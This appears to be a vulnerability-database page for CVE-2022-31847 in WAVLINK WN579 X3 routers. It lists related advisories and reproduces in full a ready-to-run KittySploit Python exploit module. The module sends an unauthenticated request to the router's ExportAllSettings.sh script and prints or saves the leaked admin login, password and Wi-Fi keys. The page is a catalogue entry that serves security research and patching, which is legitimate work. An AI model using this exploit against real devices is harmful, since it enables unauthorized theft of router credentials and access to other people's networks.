WAVLINK Router Credential Leak (CVE-2022-31847)
| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| CVE-2022-31847 | 14 Jun 202214:15 | – | attackerkb | |
| CVE-2022-31847 | 14 Jun 202218:23 | – | circl | |
| WAVLINK WN579 X3 安全漏洞 | 14 Jun 202200:00 | – | cnnvd | |
| WAVLINK WN579 X3 Information Disclosure Vulnerability (CNVD-2022-61036) | 20 Jun 202200:00 | – | cnvd | |
| CVE-2022-31847 | 14 Jun 202213:09 | – | cve | |
| CVE-2022-31847 | 14 Jun 202213:09 | – | cvelist | |
| WAVLINK WN579 X3 M79X3.V5030.180719 - Information Disclosure Detection | 28 Jul 202611:27 | – | kittysploit | |
| WAVLINK WN579 X3 M79X3.V5030.180719 - Information Disclosure | 14 Oct 202602:05 | – | nuclei | |
| CVE-2022-31847 | 14 Jun 202214:15 | – | nvd | |
| CVE-2022-31847 | 14 Jun 202214:15 | – | osv |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""WAVLINK ExportAllSettings credential leak (CVE-2022-31847)."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Exploit, Http_client):
__info__ = {
'name': 'WAVLINK Router Credential Leak (CVE-2022-31847)',
'description': (
'Exploits CVE-2022-31847 in WAVLINK WN579: unauthenticated GET to '
'/cgi-bin/ExportAllSettings.sh exposes admin Login/Password and Wi-Fi keys.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2022-31847'],
'platform': Platform.LINUX,
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2022-31847'],
'tags': ['wavlink', 'router', 'credential-leak', 'vkev'],
'agent': {
'risk': 'critical',
'effects': ['credential_access'],
'expected_requests': 1,
'reversible': True,
'approval_required': True,
'produces': ['credentials'],
'chain': {'suggested_followups': ['scanner/http/cve_2022_31847_detect']},
},
}
output_file = OptString('', 'Save settings dump locally', required=False)
def check(self):
r = self.http_request(method='GET', path='/cgi-bin/ExportAllSettings.sh', allow_redirects=False)
body = (r.text or '') if r else ''
if r and r.status_code == 200 and all(m in body for m in ('Login=', 'Password=', 'Model=')):
return {'vulnerable': True, 'reason': 'WAVLINK settings leak confirmed', 'confidence': 'high'}
return {'vulnerable': False, 'reason': 'ExportAllSettings failed', 'confidence': 'medium'}
def run(self):
if not self.check().get('vulnerable'):
print_error('WAVLINK router not vulnerable')
return False
r = self.http_request(method='GET', path='/cgi-bin/ExportAllSettings.sh', allow_redirects=False)
body = (r.text or '') if r else ''
out = str(self.output_file or '').strip()
if out:
with open(out, 'w', encoding='utf-8', errors='replace') as fh:
fh.write(body)
print_success(f'Saved to {out}')
else:
print_success(body[:4000])
return True
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Oct 2026 14:20Current
7.3High risk
Vulners AI Score7.3
CVSS 25
CVSS 3.17.5
EPSS0.06555